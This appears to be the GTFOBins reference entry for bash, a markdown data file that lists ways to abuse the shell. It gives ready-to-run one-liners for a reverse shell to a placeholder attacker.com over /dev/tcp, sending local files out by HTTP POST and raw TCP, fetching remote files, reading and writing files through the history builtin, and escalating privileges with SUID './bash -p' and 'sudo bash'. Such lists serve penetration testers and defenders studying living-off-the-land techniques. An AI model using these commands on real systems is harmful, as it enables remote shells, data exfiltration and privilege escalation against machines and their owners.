GTFOBins.github.io/_gtfobins/bash.md
2019-01-25 16:41:15 +01:00

2.3 KiB

functions
shell reverse-shell file-upload file-download file-write file-read suid sudo
code
bash
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 bash -c 'bash -i &>/dev/tcp/$RHOST/$RPORT 0<&1'
description code
Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
description code
Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
description code
Fetch a remote file via HTTP GET request. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/$RHOST/$RPORT \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
description code
Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
code
export LFILE=file_to_write bash -c 'echo DATA > $LFILE'
description code
This adds timestamps to the output file. LFILE=file_to_write HISTIGNORE='history *' history -c DATA history -w $LFILE
description code
It trims trailing newlines and it's not binary-safe. export LFILE=file_to_read bash -c 'echo "$(<$LFILE)"'
description code
The read file content is surrounded by the current history content. LFILE=file_to_read HISTTIMEFORMAT=$'\r\e[K' history -r $LFILE history
code
./bash -p
code
sudo bash